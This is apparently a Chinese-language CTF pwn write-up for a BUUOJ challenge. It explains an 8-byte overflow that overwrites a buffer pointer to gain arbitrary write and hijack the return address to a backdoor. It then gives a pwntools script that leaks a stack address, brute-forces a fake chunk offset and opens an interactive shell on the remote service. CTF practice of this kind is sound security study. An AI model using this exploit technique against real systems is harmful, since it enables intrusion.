首先检查一下程序的保护机制
然后,我们用IDA分析一下,功能3存在8字节溢出,将会把v7下面的buf指针覆盖掉,而覆盖了buf指针,就能实现任意地址写。
那么,我们劫持函数栈返回地址为one_gadget即可,为了绕过结尾对buf的检查,我们的buf非0,且free后不会报错。
但是我们泄露不了堆地址,因此,只能在栈上找一个合适的fake_chunk,因此,可以直接在栈上爆破,直到程序不崩溃,那么就可以执行one_gadget了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| from pwn import *
backdoor = 0x0000000000400A3E
i = -54 while True: try: sh = remote('node3.buuoj.cn',29949) i -= 1 sh.sendlineafter('>','2') sh.recvuntil('0x') stack_addr = int(sh.recvuntil('\n',drop = True),16) print 'stack_addr=',hex(stack_addr)
sh.sendlineafter('>','1') sleep(0.5) sh.send('a'*0x8 + p64(stack_addr + 0x58) + '\x00'*0x10) sleep(0.5) sh.sendlineafter('>','3')
sh.sendlineafter('>','1') sh.sendline(p64(backdoor) + p64(stack_addr + i * 8))
sh.sendlineafter('>','3') sh.sendlineafter('>','0')
sh.interactive()
except: print 'trying...' sh.close()
|